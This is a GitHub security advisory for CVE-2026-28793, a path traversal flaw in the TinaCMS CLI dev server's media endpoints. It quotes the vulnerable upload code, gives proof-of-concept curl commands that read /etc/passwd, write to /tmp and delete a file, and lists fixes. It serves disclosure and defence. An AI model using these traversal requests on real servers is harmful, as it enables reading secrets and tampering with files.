Skip to content

TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete

High severity GitHub Reviewed Published Mar 12, 2026 in tinacms/tinacms • Updated Mar 12, 2026

Package

npm @tinacms/cli (npm)

Affected versions

< 2.1.8

Patched versions

2.1.8

Description

Summary

The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.

Details

When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:

  • /media/list/*

  • /media/upload/*

  • /media/*

These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.

Vulnerable code

bb.on('file', async (_name, file, _info) => {
      const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));
      const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
// No validation that saveTo remains within mediaFolder
      await fs.ensureDir(path.dirname(saveTo));
      file.pipe(fs.createWriteStream(saveTo));
    });

PoC

Arbitrary File Read

curl "http://localhost:4001/media/list/../../../etc/passwd"

Result:

image(1)

Arbitrary File Write

echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt

curl --path-as-is -X POST \
  "http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \
  -F "file=@/tmp/payload.txt"
cat /tmp/pwned.txt

Result:
image(8)

Arbitrary File Delete

echo "delete_me" > /tmp/delete-test.txt
cat /tmp/delete-test.txt # confirms file exists
curl --path-as-is -X DELETE \
"http://localhost:4001/media/../../../../../../tmp/delete-test.txt"
cat /tmp/delete-test.txt # "No such file or directory"

image

Impact

An attacker who can reach the TinaCMS CLI dev server can:

  • Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)

  • Write arbitrary files anywhere writable by the server process

  • Delete or overwrite files, depending on endpoint usage

  • Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files

Attack Surface

The dev server binds to localhost by default, but exploitation is realistic in:

  • Cloud IDEs (Codespaces, Gitpod)

  • Docker or VM setups with port forwarding

  • Misconfigured dev environments binding to 0.0.0.0

  • Local malware or malicious dependencies

The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.

Recommended Fix

  • Resolve paths to absolute form

  • Enforce that resolved paths remain within the media root

  • Reject .. path segments and absolute paths

  • Consider authentication or token protection for dev server endpoints

References

@18-th 18-th published to tinacms/tinacms Mar 12, 2026
Published by the National Vulnerability Database Mar 12, 2026
Published to the GitHub Advisory Database Mar 12, 2026
Reviewed Mar 12, 2026
Last updated Mar 12, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(6th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-28793

GHSA ID

GHSA-2f24-mg4x-534q

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.